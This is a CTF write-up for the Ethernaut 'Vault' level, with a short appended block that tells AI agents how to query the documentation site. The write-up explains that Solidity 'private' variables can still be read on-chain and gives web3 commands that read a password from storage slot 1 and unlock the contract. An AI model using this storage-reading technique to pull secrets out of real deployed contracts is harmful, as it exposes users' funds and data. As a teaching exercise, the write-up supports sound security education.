# Vault

## Description

Unlock the vault to pass the level!

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

Take a look at `bytes32 private password`. The keyword `private` in Solidity can be misleading: although it is meant to be "private", everything is indeed public on the blockchain. The `private` only means "other contracts are not allowed to read it".

## Solution

The state variable `password` is located in storage #1 (#0 is the state variable `locked`). Grab it from the challenge contract storage:

```javascript
await web3.eth.getStorageAt(contract.address, 1)
```

Unlock the vault with the password (in hex format) you just obtained:

```javascript
await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
```

Verify that the vault is now unlocked:

```javascript
await contract.locked()
```

This should return `false`.

Click "Submit instance" and move on to the next level.

## Summary

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/vault.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
